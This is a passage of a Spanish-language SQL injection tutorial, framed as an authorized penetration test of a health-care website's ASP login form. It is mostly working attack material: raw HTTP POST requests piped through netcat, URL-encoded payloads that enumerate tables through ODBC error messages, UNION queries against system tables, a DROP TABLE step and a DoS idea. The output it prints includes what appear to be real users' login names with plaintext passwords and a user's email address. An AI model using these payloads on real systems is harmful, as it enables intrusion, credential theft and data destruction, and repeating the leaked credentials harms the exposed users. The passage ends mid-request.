Si la aplicación de control del formulario, se encuentra corriendo con los privilegios por defecto (Ver sección "Efectos de acuerdo a Privilegios de la cuenta") , probablemente la tabla "usuarios" será eliminada, haciendo que a partir de ese momento, ningún otro usuario pueda autentificarse en el formulario en cuestión.

Como notara, la inyección de esta sencilla sentencia, puede convertirse en un verdadero dolor de cabeza para mas de un administrador, poco precavido. Así y todo, este ataque de DoS dista mucho de ser el mas aterrador de los que se pueden lograr con técnicas mas elaboradas, aunque debido a la sencillez de aplicación, debería ser tenido muy en cuenta.

Nota: *Es de esperar, que al finalizar este documento el usuario medio sea capaz de imaginar otra docena de ataques de denegación de servicio, desde los mas simple (Mmm se me ocurre ';shutdown :) hasta algunos mas elaborados haciendo uso por ejemplo de los "Procedimientos Almacenados Extendidos".*

h. Obtención de Información en la etapa de enumeración

Probablemente una de las funciones mas poderosa respecto de la utilización de técnicas de SQL Injection, se encuentre dada por las posibilidades que brinda la interpretación de los errores ODBC u OLE DB arrojados por SQL Server luego de utilizada la artimaña de la comilla simple.

Si bien es de esperar que, tal como lo mencionáramos con anterioridad en alguna parte de este documento, la inserción de la comilla simple no tenga éxito, en el cien por ciento de los casos (Recordemos que un buen administrador o desarrollador utilizaría, al margen de buenas validaciones, paginas web estándar para ocultar cualquier error no contemplado, incluyendo los errores de base de datos de cara al usuario final) lo

cierto es que suelen encontrarse aplicaciones vulnerables con mayor frecuencia de lo normal.

Nota: *Respecto a lo anterior, cabe aclarar que ASP en particular, envía por defecto los mensajes de error de la aplicación al usuario, lo cual contribuye en gran medida a incrementar la posibilidad de encontrar sitios en donde sea posible generar errores que puedan ser leídos por el atacante.*

En principio, diremos que otra vez se trata de enviar a la aplicación a testear, valores no esperados con la intención de hacer visibles los errores que se puedan producir a nivelde base de datos, a partir de dicho ingreso.

Muy frecuentemente, se sorprenderá de todo la información que se puede extraer de los mensajes estándar, y de como estos pueden ser aprovechados en la construcción de sentencias a inyectar un tanto mas avanzadas.

Prestemos atención al siguiente ejemplo, en el cual se muestra el resultado de haber insertado una " ' " (Comilla Simple) tanto en el campo de usuario como en el de contraseña de el formulario de un sitio seguro.

```
Warning: SQL error: [Microsoft][ODBC SQL Server
Driver][SQL Server]Unclosed quotation mark before the
character string '\')'., SQL state 37000 in SQLExecDirect
in php/db_odbc.inc on line 61 Database error: Invalid
SQL: Select * from usuario where (usuario.login='\'')
ODBC Error: 1 (General Error (The ODBC interface cannot
return detailed error messages).) Session halted.
```

Bueno, mmm... veamos que información podemos extraer de este error ODBC:

1. Obviamente esta usando Microsoft SQL.
2. La conexión con la base de datos esta a cargo aparentemente de un script en php (note la cadena "php/db_odbc.inc")
3. Por la ruta misma del file db_odbc.inc, podemos deducir que usa php.
4. El nombre de la base de datos utilizada en la autenticación es "Usuario".
5. Uno de sus campos es "login".

Bien, ahora antes que nada... vayamos a revisar el código del file que muy gentilmente nos mostró el ODBC Error: db_odbc.inc

Nota: *La mayoría de las veces los ".inc" constituyen un recurso vital a la hora de investigar en detalle información acerca de la lógica utilizada en la programación interna de un site. Puntualmente, suele codificarse allí la conexión a la base de datos, la cual muchas veces incluye el par de USUARIO / CLAVE hardcodeado y en texto plano, el cual nos ahorrara mucho tiempo posibilitándonos establecer directamente una conexión TCP/IP con la base de datos vía el port 1433, a partir de lo cual podremos planear la inyección de código, cómodamente desde nuestro cliente SQL remoto.*

```
----- Fragmento ----------------------------------------

<?php
/*
* Session Management for PHP3
*
* Copyright (c) 1998-2000 XXXXXXXXXXXXXXX
(XXXXXX@XXXXX.XXX)
*        Modified by XXXXXXXXXXXXXXXXXXX
(XXXXXX@XXXXX.XXX)
*
* $Id: db_odbc.inc,v 1.3 2000/07/12 18:22:34 kk Exp $
*/

class DB_Sql {
  var $Host     = "";
  var $Database = "";
  var $User     = "";
  var $Password = "";
  var $UseODBCCursor = 0;

  var $Link_ID  = 0;
  var $Query_ID = 0;
  var $Record   = array();
  var $Row      = 0;

  var $Errno    = 0;
  var $Error    = "";

----- Fragmento ----------------------------------------
```

Bueno... en este caso no hemos tenido suerte con al "siseo" del archivo .inc pues los valores para las variables $User y $Password no se encuentran hardcodeadas por código, sino que están inicializadas istas para cargarse con los valores pasados desde el formulario, pero igualmente sirve para ejemplificar algo que suele ocurrir con frecuencia, esto es, que a partir de un fallo que tiene que ver esencialmente con SQL, Formularios y validación de entrada, hemos conseguido la pista de archivos importantes donde suelen guardarse cadenas de conexión que pueden servir a los efectos de una intrusión mas elaborada (En este caso el delator podría haber sido el db_odbc.inc)

h1. Información y Técnicas en General

Ok, veamos ahora un caso en el que la inyección de SQL puede ayudarnos efectivamente a enumerar la estructura propia de la base de datos o de la tablas accedidas, punto de fundamental importancia a la hora de entender la lógica de la aplicación y los tipos de datos de la tabla que maneja el formulario donde se planea inyectar código, puesto que el conjunto de estos atributos devendrá en una inyección inteligente.

En este caso en particular veremos como responde a un test de intrusión autorizado, donde se utilizaran técnicas de SQL Injection, un conocido sitio dedicado al cuidado de la salud.

Puesto que muchas veces los campos de un formulario, contienen alguna restricción a nivel javascript o similar, respecto de la cantidad de caracteres que se permiten escribir en ellos, comúnmente se suele utilizar cualquiera de las herramientas disponibles en nuestro toolbox que permita enviar métodos HTTP al servidor en cuestión.

Sin dudas una muy buena herramienta al respecto es CURL (Encontrara el link correspondiente en la sección 08. Referencias y Lecturas Complementarias), aunque en lo personal me siento mas cómodo trabajando con netcat (Amigo Runlevel, lo siento pero no puedo con mi genio :) con lo cual la siguiente guía hará uso de dicha herramienta.
Bien... puesto que muchas veces las sentencias a enviar mediante los diferentes métodos HTTP al sitio objetivo, serán un tanto extensas, le recomiendo canalizar pequeños archivos de texto plano, conteniendo las sentencias a enviar mediante una conexión netcat, de la siguiente forma:

```
nc -vv www.objetivo.com 80 < sentencias.txt
```

Comencemos:
Como complemento a netcat y a los efectos de construir la petición HTTP en forma correcta, he lanzado mi sniffer preferido (En este caso fue SpyNet, pero puede ser Ethereal o cualquier otro), para luego dirigirme al sitio web objetivo e ingresar un nombre de usuario y contraseñas ficticios (Angel en ambos casos :), solo para ver como se procesa la petición internamente.

Este fue el resultado:

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 34
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=Angel&txtPassword=Angel
            ¦                   ¦
            ¦                   ¦
            ¦       Valor Ingresado para el campo "Password:"
```

del formulario login.asp

Valor Ingresado para el campo "Usuario:" del formulario login.asp

Bien, acto seguido lo que haremos será copiar la información del POST brindada por nuestro sniffer en un archivo de texto al que llamare Injection.txt, el cual usaremos como base para nuestro testing.

Puesto que para este momento seguramente ya hemos comprobado que el sitio es susceptible a ser inyectado mediante la prueba de la " ' " (Comilla simple) en el formulario, no volveremos a repetir el procedimiento por medio de netcat, en cambio comenzaremos a buscar la forma de enumerar la tabla utilizada en la validación del formulario. Para esto nos valdremos de dos o tres de las cláusulas SQL que comentáramos al inicio de este documento (having, group by, etc).

El objetivo entonces será realizar un "mal" uso conceptual o sintáctico de Cláusulas / sentencias "reales" de SQL, a los efectos de provocar tipos diferentes de error que llevaran a que SQL (Mmmm... mejor dicho el driver de conexión, en nuestro ejemplo OLE DB) brinde a los auditores o atacantes mas observadores, mensajes informativos sumamente valiosos.

Volvamos entonces a nuestro Injection.txt para ver cuales serán las modificaciones realizadas en el método POST que al ser canalizadas vía netcat comenzara a hacer nuestro trabajo divertido:

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 46
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=%27having+1%3D1--&txtPassword=Angel
```

Valor que enviamos al campo "Password:" del formulario login.asp

Valor Inyectado: 'having 1=1-- (Encodeado: %27having+1%3D1--)

Nota: *Al manipular un post de este tipo, obviamente deberá prestar especial atención a dos puntos fundamentales. El primero, es relativo al valor que tomara el "Content-Length" del POST, recuerde que el mismo corresponde al total de bytes enviados en el BODY de la petición, por ende probablemente deberá cambiar el mismo con cada nueva inyección.*

Por otro lado deberá revisar los signos especiales a enviar en el POST, puesto que los mismos deberán ser "encodeados" para poder ser consistentes con la petición HTTP. La tabla presentada a continuación podrá ser utilizada como referencia respecto de las equivalencias a la hora de encodear valores:

Valor	Descripción	Encode
‘	Comilla Simple	%27
;	Punto y Coma	%3B
:	Dos Puntos	%3A
“ “	Espacio	+ / %20
=	Signo Igual	%3D
,	Coma	%2C
(	Paréntesis	%28
)	Paréntesis	%29
>	Mayor	%3E
<	Menor	%3C
@	Arroba	@
.	Punto	.
+	Mas	%2B
-	Menos	-
\	Back Slash	%5C
_	Underscore	_

Ok! ahora que hemos actualizado nuestro Injection.txt, estamos listos para canalizar el mismo vía netcat, y ver que sucede. Por una cuestión de comodidad variaremos levemente la línea de comando de nc para pedirle que nos envíe el resultado de este post a un .html que podamos revisar tranquilamente a posterior, ya veremos que esto nos resultara sumamente practico en nuestro camino hacia la enumeración de la tabla de autenticación.

Entonces:

```
nc -vv www.objetivo.com 80 < Injection.txt > result.html
```

Bien... veamos que es lo que logramos con nuestra inyección de "having", para lo cual deberemos proceder a revisar el file result.html que arrojo nuestra consulta netcat.

Por cuestiones de espacio, a lo largo de este documento, solo imprimiré la información resultante que sea de utilidad a los efectos de comprobar el correcto procesamiento de las sentencias inyectadas.

Veamos lo que arroja nuestra consulta:

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'[Microsoft][ODBC SQL Server Driver][SQL
Server]Column 'USUARIOS.UserID' is invalid in the select
list because it is not contained in an aggregate function
and there is no GROUP BY clause.
/Login.asp, line 85
```

Perfecto!! si prestamos un poco de atención, podremos observar que como parte del mensaje estándar de error, el driver ODBC de SQL Server nos devuelve el nombre de la tabla de la base de datos utilizada para autentificarnos en su pagina de login (USUARIOS), así como también el primer campo de la misma (UserID).

Ahora que conocemos el nombre de la tabla, podremos afinar nuestra puntería, para esto volveremos a nuestro file Injection.txt y realizaremos las modificaciones necesarias, para continuar enumerando el resto de los campos de la tabla USUARIOS. Veamos como quedaría entonces conformado este nuevo POST :

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 71
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;xxxxxxxxxxx
=COUNTRYNAME=Argentina

txtUsuario=%27group+by+usuarios.UserID+having+1%3D1--
&txtPassword=Angel
```

Valor que enviamos al campo "Password:" del formulario login.asp

Valor Inyectado: 'group by usuarios.UserID having 1=1--

Luego de ejecutar nuevamente nuestra línea de comando netcat, vemos el siguiente resultado:

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'[Microsoft][ODBC SQL Server Driver][SQL
Server]Column 'USUARIOS.UID' is invalid in the select
```

```
list because it is not contained in an aggregate function
and there is no GROUP BY clause.
/Login.asp, line 85
```

Una vez mas hemos tenido suerte, nótese que haciendo uso de la cláusula "having" pero esta vez concatenándola con la cláusula "group by" hemos obtenido el campo adyacente a UserID de la tabla USUARIOS, en este caso llamado UID.

Siguiendo con esta metodología, seremos capaces entonces de enumerar todos y cada uno de los campos que componen la tabla USUARIOS utilizada por el script "login.asp" al momento de autentificarnos como usuarios, tan solo concatenando cada "nuevo" campo descubierto en la sentencia a inyectar. Esto sería:

Sentencia a Inyectar

```
'group by usuarios.UserID,usuarios.UID having 1=1--
```

Resultado de la Inyección

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'[Microsoft][ODBC SQL Server Driver][SQL
Server]Column USUARIOS.Nombre' is invalid in the select
list because it is not contained in an aggregate function
or the GROUP BY clause.
/Login.asp, line 85
```

Sentencia a Inyectar

```
'group by usuarios.UserID,usuarios.UID,usuarios.Nombre
having 1=1—
```

Resultado de la Inyección

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'[Microsoft][ODBC SQL Server Driver][SQL
Server]Column USUARIOS.Email' is invalid in the select
list because it is not contained in an aggregate function
or the GROUP BY clause.
/Login.asp, line 85
```

Sentencia a Inyectar

```
'group by usuarios.UserID,usuarios.UID,usuarios.Nombre,
 usuarios.Email having 1=1--
```

Resultado de la Inyección

```
HTTP/1.1 100 Continue Server: Microsoft-IIS/4.0 Date:
Fri, 14 Feb 2003 20:02:22 GMT HTTP/1.1 302 Object moved
Server: Microsoft-IIS/4.0 Date: Fri,14 Feb 2003 20:02:23
GMT Connection: close Location: PaginaPersonal.asp
Content-Length: 139 Content-Type: text/html Set-Cookie:
xxxxxxxxxx=USEREMAIL=rcesar6%40hotmail%2Ecom&CHATNAME=&US
ERFIRSTNAME=roxana&COUNTRYNAME=Argentina; expires=Sun,
16-Mar-2003 05:00:00 GMT;path=/ Cache-control: private

Object Moved

This object may be found here.
```

Ok... atención aquí, como podemos observar el resultado de la inyección a cambiado al intentar enumerar el campo siguiente a "usuarios.Email". En realidad lo que ha sucedido es que, o bien hemos llegado al final de la tabla o al menos logramos enumerar el "total" de campos utilizados en el SELECT legitimo (Gracias Neo por la aclaración :). Fíjese que el resultado de este POST HTTP NO es un error, sino que precisamente nos esta llevando a la página personal de uno de los usuarios de la propia base de datos, dejando entrever que el SQL ha tomado como valida la cadena inyectada.

(Esto es 'group by usuarios.UserID,usuarios.UID,usuarios.Nombre,usuarios.Email having 1=1--)

De este modo, podemos suponer que en principio, la autentificación detrás del formulario de acceso auditado solo consulta esta tabla, al momento de concretar la autorización de acceso al sector restringido del site.

Correcto, llegado este punto entonces estamos seguros de que TODOS los campos de la tabla en cuestión incluidos en el SELECT legitimo, han sido enumerados, pero... que hay de aquellos campos por los cuales el SELECT consulta y que no forman parte de la primer sección el mismo?? veamos un ejemplo de lo expuesto. Suponiendo que la sentencia codificada en el site sea algo como:

```
SELECT campo1,campo2,campo3 FROM nom_tbl WHERE campo1=x
AND campo5=y
```

utilizando el método de enumeración anterior (Esto es "group by" y "having") solo obtendríamos los nombres de: "campo1", "campo2" y "campo3", pero no descubriríamos la existencia de "campo5" (Diferente seria el caso en que la sentencia legitima fuera del tipo "SELECT * FROM [...]" pues allí si, seria factible enumerar todos y cada uno de los campos con este método) es en estas circunstancias donde se debe recurrir a la utilización de artilugios como el presentado a continuación:

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 297
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=Ups%27+union+select+b.name%2C1%2C1%2C1+from+sy
sobjects+a%2C+syscolumns+b+where+a.id%3Db.id+and+a.name%3
D%27usuarios%27+and+b.name+in+%28select+top+01+b.name+fro
m+sysobjects+a%2C+syscolumns+b+where+a.id%3Db.id+and+a.na
me%3D%27usuarios%27+order+by+1+desc%29+order+by+1--
&txtPassword=Angel
   ¦              ¦
   ¦          Valor que enviamos al campo
   ¦          "Password:" del formulario login.asp
   ¦
   ¦
   ¦
Valor Inyectado: Ups' union select b.name,1,1,1 from sysobjects a, syscolumns
b where a.id=b.id and a.name='usuarios' and b.name in (select top 01 b.name
from sysobjects a, syscolumns b where a.id=b.id and a.name='usuarios' order
by 1 desc) order by 1--
```

Bueno... que es entonces todo esto??? Veamos, comenzamos la cadena inyectada con "Ups" pero podría haber sido cualquier serie de caracteres. Su función es la de realizar el cortocircuito necesario en la sentencia legitima, como para darle paso al resto de la inyección. Luego intentamos una UNION entre la sentencia legitima y aquella por nosotros construida, en este caso haciendo uso de las tablas de sistema SYSOBJECTS y SYSCOLUMNS relacionadas por el campo "ID" de forma tal que podamos obtener el recordset dado por el valor utilizado como parámetro de la sentencia TOP (En este caso 01). Lo particular de esta sentencia es la utilización de IN para provocar que se resuelva en primera instancia el SELECT indicado entre paréntesis, así como la funcionalidad que brinda la reversión de la consulta en

conjunto con el operador TOP, puesto que gracias a ello podremos enumerar de uno en uno TODOS los campos de la tabla objetivo tan solo con incrementar en cada POST el valor para TOP :)

Lo cierto es que podríamos haber resuelto esta consulta con alguna sentencia mas purista, del tipo:

```
Ups' union select b.name,1,1,1 from sysobjects a,
syscolumns b where a.id=b.id and a.name='usuarios' and
b.colorder = 48 --
```

pero el método presentado, no deja de ser un ejemplo simpático y útil en algunas circunstancias (Por ejemplo... en aquellos casos donde resulta imposible utilizar el recurso "colorder").

Pero... veamos el resultado de esta técnica aplicada a nuestro ejemplo:

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07' [Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the nvarchar value
'UserSubPLUSDate' to a column of data type int.
/Login.asp, line 85
```

Ok, vemos como el error ODBC nos muestra que el nombre del primer campo de la tabla USUARIOS es "UserSubPLUSDate". Llegado este punto, el atacante podrá variar el parámetro asignado a TOP y seguir enumerando el resto de los campos hasta obtener todos y cada uno de ellos.

h2. Siguiendo con la enumeración: Tipo de Datos

Ahora bien, como parte de la enumeración, y a su vez como requisito para pasar al siguiente nivel de compromiso, no bastara con conocer los nombres de la tabla y los campos, sino que también será necesario averiguar el tipo de datos al que pertenece cada uno de estos. Llegado este punto, haremos uso de otra cláusula SQL: "UNION", la cual acompañada de la función "SUM()" nos permitirá terminar con la etapa de enumeración.

Si bien la cláusula UNION no es de las consideradas "básicas" en lo que se refiere a lenguaje SQL, lo cierto es que es útil en muchas formas, sobre todo cuando se interactúa con varias tablas relaciónales. Por ejemplo, el uso mas común de la operación UNION, es el de crear una consulta precisamente "de unión", combinando los resultados de dos o más tablas independientes.

Por su parte la función SUM(), opera sobre campos numéricos otorgando como resultado la sumatoria de la columna.

Ahora que conocemos el uso general de ambos elementos veamos como podemos utilizarlos juntos, como parte de la enumeración, en el proceso de inyección.

Tomemos entonces nuevamente nuestro Injection.txt y editémoslo de forma tal que tenga el siguiente aspecto:

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 82
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=%27+union+select+sum(UID)%2C1%2C1%2C1+from+usu
arios--&txtPassword=Angel
  ¦                        ¦
  ¦                        Valor que enviamos al campo  "Password:"
  ¦                        del formulario login.asp
  ¦
Valor Inyectado: 'union select sum(UID),1,1,1 from usuarios--
```

Una vez mas, luego de ejecutar entonces nuestra línea de comando Netcat la cual enviará el POST construido al servidor objetivo, obtendremos como resultado el siguiente texto delator:

```
Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]The sum or average aggregate operation cannot take
a nvarchar data type as an argument.
/Login.asp, line 85
```

Bien... ha resultado... hemos provocado que el driver ODBC emita uno de sus benditos reportes de error, el cual deja entrever cual es el tipo de dato para el campo consultado ("UID" en nuestro ejemplo). Usted ha descubierto de que tipo de dato se trata? En caso de que su respuesta sea NO, le invito a analizar este punto un poco mas en detalle, para eso vamos a detenernos aquí un instante.

Debido a que los pasos anteriores nos permitieron enumerar correctamente el nombre de la tabla utilizada en la autenticación, así como: la cantidad, el orden y el nombre de

los campos involucrados, hemos podido obtener la información necesaria para lanzar consultas SQL bastante mas elaboradas (Pues... de hecho... este es el objetivo de la enumeración SQL!!, o no??)

Entonces, resumiendo: Haciendo uso de los elementos reunidos hasta el momento, estamos en condiciones de construir sentencias SQL del tipo UNION, que junto a operadores del tipo SUM y aplicado a los campos enumerados en la primer etapa, nos permitan obtener con bastante certeza, el TIPO DE DATO al que pertenece cada uno de los campos para los que sigamos este procedimiento.

Pero usted aun se preguntara, que es realmente lo que sucede detrás de esta inyección? Ok, tal como lo explicara Chris Anley en su excelentísimo paper "Advance SQL Injection [...]", SQL intenta aplicar el operador "SUM" al campo enviado a dicha función, al evaluar el resultado de esta operación, SQL se expedirá por medio de diferentes mensajes de error lo que nos permitirá sacar nuestras propias conclusiones. Uno de estos mensajes tiene la forma del que nos arrojara nuestra ultima inyección para el campo "UID".

Este mensaje nos deja entrever que su tipo es NVARCHAR (Felicitaciones si acertó la respuesta) pues como verán SQL se esta "quejando" diciéndonos que no puede tomar como argumento para una operación de SUM un dato del tipo NVARCHAR.

Bien, llegado este punto hemos visto como valiéndonos de algunas sentencias y operadores sencillos, se logra enumerar por completo la tabla de una base de datos SQL. Para graficarlo, observemos lo que esta auditoria ha revelado:

Nombre de la Tabla
USUARIOS

Estructura
usuarios.UserSubPLUSDate
usuarios.UserRegistrationDate
usuarios.UserPublicProfile
usuarios.UserProfileRank
usuarios.UserProfesion
usuarios.UserPixStatus
usuarios.UserPixName
usuarios.UserPediatRank
usuarios.UserListStatus
usuarios.UserID
usuarios.UserDoctorRank
usuarios.UID (Nombre de Usuario)
usuarios.ReporteSemanal
usuarios.PWS (Contraseña)
Etc...

Como vera, suficiente información como para al menos comenzar a escribir tal como adelantáramos, sentencias de inyección un tanto mas poderosas, algunas de las cuales veremos en la próxima sección. Por otro lado, hemos accedido a parte de la "lógica de diseño" o "programación" del site (Por llamarlo de algún modo) lo que nos permitió conocer, entre otras cosas, cual es el estándar de nombres que este grupo de desarrolladores acostumbra a usar para nombrar los campos de sus tablas, y si esto a simple vista puede sonar a "nada", recuerde que TODA información reunida en forma individual respecto a un objetivo, JUNTA en la etapa de "Evaluación de datos, Descubrimiento y Enumeración" puede llegar a delatar muchos de los secretos mejor guardados. De hecho, en mi modesta opinión, una correcta auditoria (Lo mismo que un buen ataque) depende en gran medida del grado de importancia que se haya dado a este tipo de detalles.

i. Exploración y Manipulación de los datos lícitos almacenados en las tablas
Una vez concluida la etapa de enumeración SQL, el atacante no dudara en comenzar su escalada hasta lograr el compromiso total de la información contenida en la base de datos objetivo, para lo cual utilizara algunas de las técnicas que describiremos a continuación.

i1."Table Browsing"
Sin lugar a dudas, la idea de poder "browsear" la tabla de usuarios de un site protegido, puede resultar mas que atractivo para un atacante en busca de una puerta de acceso transparente. Fíjese que tan fácil puede llegar a ser obtener información referente a juegos de usuario / password de la tabla usuarios previamente enumerada, utilizando un método de tres pasos como el mostrado a continuación.

1º PASO Generación de Tabla Auxiliar

La idea inicial detrás de esta primer sentencia, es la de utilizar la funcionalidad de SQL para generar tablas al vuelo con la cláusula INTO haciendo que se guarde en tan solo un registro (Lo que hará mas efectiva la posterior visualización) la información referente a la concatenación de los valores de los campos UID y PWS.

Volvamos a la piel de nuestro atacante estrella :) y veamos la forma que debería tomar un nuevo POST conteniendo la cadena inyectada:

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 199
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=%27+declare+@aux+varchar%288000%29+set+@aux%3D
%27%27+select+@aux%3D@aux+%2B+UID%2B%27/%27%2BPWS%2B%27%3
B%27+from+usuarios+where+UID%3E@aux+select+@aux+as+aux+in
to+xtmp--&txtPassword=Angel
```

Valor que enviamos al campo "Password:" del formulario login.asp

Valor Inyectado: 'declare @aux varchar(8000) set @aux=" select @aux=@aux+uid+'/'+pws+';'from usuarios where uid>@aux select @aux as aux into xtmp—

2º PASO Browsing de la Tabla Auxiliar

Una vez posteada la sentencia anterior, el atacante tan solo deberá construir e inyectar un SELECT a la tabla creada temporalmente utilizando la técnica de unión comentada mas adelante en este documento.

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 76
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=Ups%27union+select+aux%2C1%2C1%2C1+from+xtmp--
&txtPassword=Angel
```

Valor que enviamos al campo "Password:" del formulario login.asp

Valor Inyectado: Ups'union select aux,1,1,1 from xtmp--

Habiendo canalizado este POST en forma correcta, el driver ODBC volverá a sorprendernos con un bello mensaje el cual mostrara en forma legible un string conteniendo información referente a credenciales de inicio de sesión:

```
Login de Usuarios Registrados

Microsoft OLE DB Provider for ODBC Drivers error
'80040e07'[Microsoft][ODBC SQL Server Driver][SQL
Server]Syntax error converting the varchar value
'Danyr2/pepe;THEMA/M1703;CIELORIANO/daniel;ALELARRAINP/14
05;SANDRA/4484188;0001/13119695;AsdrubalCh/1173;beatrizay
ala/10338154;maria_perez/12345;batv/peresosita;susy/susyk
a;Mireya_Salazar/gabriela;MVidales/male;AngelicaS/chainy;
```

```
carla/cardie;MonicaA/amorcito;aliciafalcon/baby;dayana/ne
ne;Luz_d/carmen;mguevara/martha;Tiatere1/lima27;CMorena/2
11095;victor...

/Login.asp, line 85
```

3º PASO Eliminación de la Tabla Auxiliar

Una vez obtenidos los datos buscados, el atacante intentara eliminar la tabla temporal utilizada en el paso anterior, para lo cual seguramente intentara inyectar el comando DROP, tal como se muestra en el siguiente ejemplo:

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 53
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

txtUsuario=%27%3Bdrop+table+xtmp--&txtPassword=Angel
```

Valor que enviamos al campo "Password:" del formulario login.asp

Valor Inyectado: ';drop table xtmp--

i2.Alterando los datos

Tanto administradores de sistemas como consultores en seguridad, solemos ponernos sumamente nerviosos cuando detectamos alguna vulnerabilidad en nuestros sistemas, pero lo cierto es, que el pánico comienza cuando vemos que de alguna u otra forma, esta permite la alteración de datos. A continuación enumeraremos al menos dos de las posibilidades directas que tiene un atacante respecto de modificar, eliminar o agregar registros a nuestra base de datos.

UPDATE

Veamos un ejemplo en el que se muestra el aspecto de un POST orientado a actualizar el password de un usuario legitimo del sistema vía inyección de una sentencia UPDATE.

```
POST /Login.asp?validar=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxxxx.com/Login.asp?validar=2
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)
Host: www.xxxxxxxxxx.com
Content-Length: 103
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQQGQQGBW=OBJADBEDBPHAHOMMOCBFNKDA;
xxxxxxxxxx=COUNTRYNAME=Argentina

